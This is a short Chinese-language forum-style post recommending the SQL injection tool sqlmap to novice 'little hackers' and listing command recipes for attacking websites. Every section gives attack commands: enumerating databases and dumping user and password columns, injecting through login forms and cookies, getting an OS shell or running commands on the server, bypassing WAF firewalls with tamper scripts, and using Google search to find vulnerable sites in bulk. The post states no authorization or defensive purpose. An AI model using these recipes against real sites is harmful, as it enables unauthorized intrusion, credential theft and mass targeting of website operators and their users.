神器SqlMap之简单的注入应用

各大论坛都有很多sql注入神器，但现再有的也不好用了如啊D,明小子，御剑，不过御剑还是很不错的。


现在给大家推荐一些大牛经常用的注入神器SQLmap（sql枚举数据库）相信很多小黑客都还不知道或者不了解。 



在这我也就不细说他的用处毕竟百度有工具可以在BT5的中文网去下载



现在就说一下他的一些命令用法：

Mysql数据库注入:
sqlmap -u "url" --dbs
sqlmap -u "url" -D 数据库 --tables
sqlmap -u "url" -D 数据库 -T 表段 --columns
sqlmap -u "url" -D 数据库 -T 表段 -C id,user,pass --dump
--------------------------------------------------------------------------
Post登陆框注入:
./sqlmap.py -r *.txt -p tfUPass
sqlmap -u url --forms
sqlmap -u url "tfUName=1(可为任意数)&tfUPass=1(可为任意数)"
--------------------------------------------------------------------------

伪静态注入:
sqlmap -u url/x*.html --dbs
---------------------------------------------------------------------------

交互写shell及命令执行:
cmdshell:
sqlmap -u url --os-shell
指定站点类型.1.asp 2.aspx 3.jsp 4.php(default)
指定站点根目录:盘符/目录/
命令执行:
sqlmap -u url --os-cmd=ipconfig
指定站点类型.1.asp 2.aspx 3.jsp 4.php(default)
指定站点根目录:盘符/目录/
--------------------------------------------------------------------------

Cookie注入:
sqlmap -u "url" --cookie "id=" --table --level 2
sqlmap -u "url" --cookie "id=" --clumns -T 表段 --level 2
sqlmap -u "url" --cookie "id=" --dump -T 表段 -C "user,pass" --level 2
--------------------------------------------------------------------------

请求延时注入:
sqlmap --dbs -u usr/x*.html --delay 1(时间,可随意)
sqlmap --dbs -u usr/x*.html --safe-freq 1(次数,可随意)
--------------------------------------------------------------------------

绕过WAF防火墙:
sqlmap -u url -v 3 --dbs --batch --tamper "space2morehash.py"
1.space2hash.py 2.base64encode.py 3.charencode.py
--------------------------------------------------------------------------

Google批量检测注入:
sqlmap -g 关键词


看不懂没事  百度是你最好的老师。